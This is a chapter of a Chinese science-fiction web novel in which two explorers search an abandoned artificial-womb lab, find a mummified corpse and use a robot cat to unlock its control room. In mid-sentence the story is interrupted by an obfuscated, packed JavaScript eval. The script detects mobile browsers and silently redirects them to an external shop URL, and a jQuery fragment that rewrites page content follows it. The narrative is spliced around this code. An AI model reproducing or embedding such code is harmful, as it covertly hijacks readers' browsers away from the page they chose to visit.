16. 风沙海之十
作品:《最后的机器师》 机器子宫,问世于2325年的帕蓝国,它的出现极大程度缓解了污染区导致的人类繁育能力下降问题,此后十年间,机器子宫的使用被迅速普及开来,世界人口迎来了一个短暂的回升。
但当时的机器技术并不像现在这样全方位发展,因此机器法和监管机构并不成熟。
于是,问题产生了。
2325年至2335年间,全球畸形婴儿和被抛弃的婴儿数量达到了有史以来的巅峰,这其中还不包括街上和下水道里时不时出现的鸟头婴儿身或者婴儿面鼠身等等奇怪的尸体。
突破性的技术、无穷的探知欲、纯粹的生物本能造就了这一场悲剧。
但大错虽成,一切还来得及挽救。
2340年开始,各国联合收回普通人对机器子宫的使用权,相关的机构和法律也被建立和完善。最终,国际达成一致,只有四大国拥有对机器子宫的技术控制和管理权,其余小国人民则可以到任意的大国免费使用机器子宫繁育下一代。
因此当今世上只有四大机器子宫基地:
帕蓝国的耶和机器子宫基地,
九夏国的女呙机器子宫基地,
缇首国的那伊机器子宫基地,
德赛斯达国的罗尼机器子宫基地。
那么他们现在所在的地方是什么?根据之前机器墙的信息,这里在一百五十年前就已经建好,比帕蓝国机器子宫出现的时间还早了五十多年。
难道这里才是机器子宫真正诞生的地方?
这些玻璃舱的形态和九夏国机器子宫基地里的几乎一模一样,如果硬要说有什么区别,那就是这里的线路插管更多,而且排布也更挤更密集,有的竖有的横,几乎是一个紧挨一个,不像九夏国的,间隔好几米才有一个,还能让胚胎的供养人观看。
不过也许是因为这里的空间更小才这样设计的,毕竟看上去这整个研发室也才九夏国子宫基地的一个VIP套间大。
但这些对朝生来讲都不重要,她只在意出口在哪里,而这显然没有出口。
她正要转头往门外走,却忽地留意到被灰尘模糊的暗黄地板上有一串脚印,脚印乱七八糟,显得十分慌乱。
朝生的目光一路追随——
“——啊!”明钺忽地一声惨叫。
他不知什么时候将某一个玻璃舱上的灰擦去了,舱里黑漆漆一片,正当他以为里面什么都没有的时候,一块镶着黑色眼睛的泡白组织忽地贴到玻璃上。
“别吵。”朝生到他身边看了眼玻璃舱,“腐坏的胚尸和拟羊水。”
“哦。”明钺看起来瞬间不怎么怕了,还和里面的尸体大眼瞪小眼,“原来是胚尸。”
他又忽地意识到一个问题:“那这些玻璃舱里面全部都是?”
“是。”
明钺不死心地起身将周边的几个玻璃舱都抹开,里面果然都是一样的情形,只不过胚胎成熟度不一样,有的小,有的大,大的甚至可以隐隐从黑水里看到手和脚,但它们都被泡发得像是白色木耳一般了,有种脆韧但又一捏就碎的恶心感。
明钺沉默了半晌没说话。
朝生没管他,转头看刚刚脚印,地上的灰尘被踩掉最多的地方,在左面墙壁的最中间。
她从上到下扫视,忽地瞳孔微缩,密密麻麻的大片玻璃舱中居然有一个才拳头大小的玻璃舱。
而且整个房间里,只有它是破损的。
这里面的胚胎一定很特别。
但,朝生在意的不是这个,她在意的是痕迹。
只要有人动过的地方,就一定有痕迹留下,广场回廊那么混乱,脚印的主人却还能一个人趁乱进房间,拿到自己想要的东西,说明他是有备而来,那么很大可能,这个人是活着出去的。
破碎的迷你舱里,毫不意外地只剩一些干涸的黑色液体和玻璃残渣,胚胎已经被拿走,它身上的拟羊水液却留了下来,滴到下方舱的玻璃罩上,落到地上,稀稀点点,在时间的腐蚀中变成了黑色痣,一连串地向门外延伸出去。
“走吧。”朝生淡淡开口。
“好。”
但朝生走到门口的时候,还没见明钺跟上来。
她一回头,却发现明钺的手已经伸到玻璃舱里去了:“你在干什么?”
明钺笑得有几分尴尬:“我想说来都来了,万一有哪个招贴寻亲启事的人能匹配得上呢,取点干了的拟羊水液总没错。”
原来他手里还拿着集取盒。
“随你。”朝生不理解他这种行为的意义。
集取盒采集完发出一阵小绿光,明钺随即将它收回便向门口走去。
走到门口的时候,他忽地回想起之前开门的问题:“朝生,你刚刚是怎么打开这扇门的,我怎么打不开?”
朝生静静地伸出手,一碰,门就像之前一样开了。
明钺微微睁大双眼:“为什么?”
朝生猜想是因为她身上趴着的机器猫。
门很快自动合上,作为测试,这次,朝生没有再自己去开门,她抱起手中睡着的机器猫杵了上去,咔嗒一声,门果然又开了。
明钺一脸恍然大悟,原来是这样。
房间里的脚印来到回廊上便被血迹和打斗痕迹破坏了,黑色的拟羊水液却还在,他们跟随着地面上的点点黑色,先后去了「干细胞实验室」、「测试实验室」、「后勤储物室」等地方。
但在这些被洗劫一空的房间里,他们什么都没发现,不过根据这些房间的名字还有里面的陈设,他们更确定这里是一个小型的子宫基地了。
在这个巨大回廊绕来绕去,面对的又都是差不多的门,明钺几乎要审美疲劳,也有点晕头转向,他忍不住晃了晃脑袋想清醒清醒。
一旁的朝生从始至终都是面无表情,也没露出丝毫的疲态。
拟羊水液指向的下一个地方是「中央控制室」。
两人站在中央控制室门口,正要像之前一样开门的时候,朝生忽然感觉肩上一轻,一个银黑身影轻巧地落地。
原来是机器猫醒了过来。它似乎是终于睡够,能量也充足了,额头中间出现一个明黄色的小圆圈。
一靠近门,小圆圈扑闪两下,随后门便打开了,这扇门虽然看上去和之前的差不多,但朝生却留意到它的厚度和其中的零件精密度比之前所有的门都要高出不少。
这意味着,这个房间十分重要。
机器猫没有等朝生和明钺,它翘着尾巴有几分欢快又有几分着急地走了进去,步子很密集。
这个房间比之前去过的房间完好得多,几乎没有被毁坏的痕迹。
房间四面是光滑的墙壁,底下有操控的屏幕和按键,正中间天花板则垂下一个像蜂巢般的巨大球体,球体上连接着很多块大小不一的屏幕,面朝不同方向,它的底下是一环圆桌,还有几把椅子。
椅子东倒西歪,只有一把立着,上面坐着一个人,他垂着头。
但朝生一进来便闻到了浓重的灰尘和干尸味,所以那不可能是一个人,那是一具尸骨。
“喵呜——”机器猫跳到了尸骨的膝盖上。
死者没有回应。
“喵呜——”机器猫又用头蹭了蹭尸骨的腹部。
死者仍旧没有回应,只有一片被腐化的一扇碎片落了下来。
机器猫还不死心:“喵呜——喵呜——”
“——他死了。”朝生冷冷打断了机器猫。
但机器猫的智商只有三四岁孩子那么高,不懂得死亡的含义,于是它只能窝在尸骨的怀里,寻求往日的温暖。
“看来它和这个死者生前关系很好。”明钺见状有几分感叹。
看来机器猫和这个死者是主人和被创造者的关系。
一路跟随过来的黑色痕迹断在了圆桌前,就连房间又出现的脚印都是,出口肯定在这里。
“机器猫告诉我们出口。”
听到朝生叫它,机器猫揣着双手忽地抬起头,但它似乎又不很明白,圆圆的脑袋歪了歪。
“出口。”朝生重复了一遍。
这次机器猫明白了,它从尸骨的怀里爬起来,跃到桌上,下一刻便十分敏捷地飞扑到对面的墙壁上,紧跟着朝生就看到墙壁上自动开启一个方形的洞。
一个只有人脑袋大小的洞。
朝生:“……”
明钺:“……”
也是,猫的出口怎么不算出口?
朝生的视线又回到椅子上。
这是一具老人的尸体,由于水分被风干蒸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265710|197829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发,它现在变成了一具干尸。
尸体上的衣物变成一种脆弱的褐咖色,身体的部分则被一层薄薄的棕色皮包裹着,弯曲的脊背、深陷的眼窝还有肿大的关节处都被显露出来。
这让朝生想起一种很薄的豆制品。
尸体的白色头发还保留着一些,不长不短,才到耳朵。
机器猫刚刚跟死者的亲密行为,直接导致它的腿骨和腰腹都破碎了,一些布料和组织屑簌簌地掉到地上——
——地上怎么有一块干涸的深褐色血迹?而且血迹只在椅子的一侧。
朝生赶忙查看尸体左侧垂下来的手,果然,尸体的手掌没有了,它是在活着的时候被人砍下来了。
那么,掌纹是开启出口的关键,只要用尸体另一侧的手就可以了。
但黑暗中的朝生忽然意识到一个问题——这里从头到尾都没有过能源。
她正这么想着,忽然间,蜂巢的最下方一个小小的屏幕亮了起来,淡淡的蓝绿光照亮明钺白皙的面孔。
见朝生看他,明钺蓝灰色的眼睛顿时笑起来,他怀里正抱着挣扎但徒劳的机器猫:“朝生,我发现一个事情,这个猫不是靠睡觉恢复电,而是靠贴着身体有温度的人,它刚刚开门一下子消耗太多电,你看它额头上的图案都不见了。”
他又敲了一下身份环上的光幕:“而且我连入了它的机器脑,发现它可以开启这里的能源开关,但开启所有能源开关还要好一会,所以我得赶紧给它充充。”
“好。”
说话间,蜂巢上又亮起了两块屏幕,朝生就着光,去到了干尸的另一边,她想看看另只手的腐败情况。
她的手刚碰到尸体,衣袖便成块地掉了下来,底下是空的,朝生立刻低头去看,尸体右手居然也没了。
但这个断口明显和左边的不一样,这个断口的边缘有崩缺且参差不齐,而另一端则是整齐往里回缩的——右手是死后很久才被切下来的。
朝生又联想到之前不同时间死的两批人还有灰尘上的脚印,她可以确定这个子宫基地曾经被两次入侵过,尸体的两只手大概率也在两个人的手里。
但目前知道的这些对他们没有任何帮助,该怎么出去?
蜂巢上的屏幕一个接一个渐渐全部亮起来,机器猫终于肯乖乖地躺在明钺怀里,蓝白光照得两人有种莫名的和谐。
圆桌上操作界面也发出蓝光,有一块区域是一个手掌的图案,但现在手掌已经没有了。
可手掌没有,掌纹却不一定。
机器猫和尸体的关系很好,那它的身上肯定有被抱过的掌纹痕迹,据朝生所知,很多的机器生物表面都是有记载功能的。
“明钺,查询机器猫脑内记录系统。”
“啊,但这样会有概率损害它的机器脑。”
“你不想出去吗?”
“但——”
一旁的机器猫听到朝生的话,喵呜叫了一声,它大概是真的很喜欢朝生,只见它额间菱形渐渐消失,机器猫居然自己解除了机器脑防护系统。
明钺愣住了,不过惊讶之余他是仔细迅速地操作起身份环的光幕,很快,上面显示出三个掌纹。
结合死者的身高和年龄,朝生选了不太长更短壮些的那个。
掌纹刚投放上操作界面,蜂巢上的屏幕便有了图像,这些基本都是监控镜头,而且有几乎一半是坏的,一直闪个不停。
剩下的那些屏幕上,显示的都是夜视成像模式,有些显示的是沙漠,有些显示的是枯草,还有些偶尔会有几只虫子爬过。
其中有两个屏幕上出现了几个熟悉的身影,是曹苜盛、邹雨和傅南为。
忽地有一个屏幕一个黑影迅速闪过,就像是什么东西从镜头上爬过般。
“那个是蜥蜴吗?这么大?”明钺也看到了,有些奇怪。
朝生觉得不像。
忽然间黑影又出现了,不过这次它是趴在镜头上,半晌,黑影的身体动了一下,这次看清了些,四个爪子,一个尾巴,还有一个隆起的肚皮,这大概就是——
——不对。
黑影往后退去,夜视镜头里,一张阴绿色的脸冒了出来,稀疏的头发,零落的牙齿,还有黑漆漆的眼睛。
那是一张人脸。

